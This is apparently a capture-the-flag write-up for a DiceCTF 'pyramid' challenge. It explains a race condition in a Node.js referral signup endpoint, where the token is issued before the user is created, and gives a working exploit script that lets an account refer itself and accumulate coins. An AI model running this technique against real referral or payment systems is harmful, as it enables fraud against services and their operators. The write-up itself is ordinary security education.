Challenge Overview
Objective: Obtain 100,000,000,000 coins to purchase the flag by exploiting a race condition in a pyramid scheme referral system.
Vulnerability Analysis
The application contains a race condition vulnerability in the user registration endpoint (/new). The key issue lies in the response timing:
- The server sends back the user token immediately in headers
- The user and referrer entries are only created after the request ends
- This timing difference allows us to manipulate the referral system
Here’s the vulnerable code:
app.post('/new', (req, res) => { const token = random()
const body = [] req.on('data', Array.prototype.push.bind(body)) req.on('end', () => { const data = Buffer.concat(body).toString() const parsed = new URLSearchParams(data) const name = parsed.get('name')?.toString() ?? 'JD' const code = parsed.get('refer') ?? null
// referrer receives the referral const r = referrer(code) if (r) { r.ref += 1 }
users.set(token, { name, code, ref: 0, bal: 0, }) })
// Token is sent BEFORE we make the actual user !!111!! res.header('set-cookie', `token=${token}`) res.redirect('/')})Exploitation Steps
-
Initial Setup
- Create a new user by sending a request to
/new - Capture the user’s token from the response
- Create a new user by sending a request to
-
Race Condition Exploitation
- Generate a referral code for our user using the
/codeendpoint - Use our own referral code during registration
- Due to the race condition, we can refer ourselves
- Generate a referral code for our user using the
-
Completing the Exploit
- Create another user to trigger the referral reward
- Repeatedly cash out to accumulate coins
Exploit Code
const https = require("https");const crypto = require("crypto");
const random = () => crypto.randomBytes(16).toString("hex");
let optionsProd = { hostname: "pyramid.dicec.tf", port: 443, path: "/new", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Keep-Alive": 5, }, timeout: 5000,};
const options = optionsProd;
const req = https.request(options, (res) => { console.log(res.statusCode);});
req.on("socket", (socket) => { console.log("Socket Connected");
socket.on("data", (data) => { console.log(data.toString()); let token = data.toString().match(/token=([a-z0-9]+)/)[1];
fetch( `https://${options.hostname}/code`, { headers: { cookie: `token=${token}` }, }, ) .then((response) => { console.log(response.status); return response.text(); }) .then((text) => { let referralToken = text.match( /<strong>([a-z0-9]+)<\/strong>/, )[1]; console.log("Referring token", referralToken); req.write(`refer=${referralToken}`); req.end(); }); });});
req.write(`name=${random()}&`);Post-Exploitation
After running the exploit:
- Manually create a new user
- Use the cash-out functionality repeatedly to accumulate the required coins
- Purchase the flag once sufficient coins are obtained
Recap
fun exploit. iirc this service was not instanced and got DOS’d by a request flood just as i was trying to get the flag, which is always appreciated.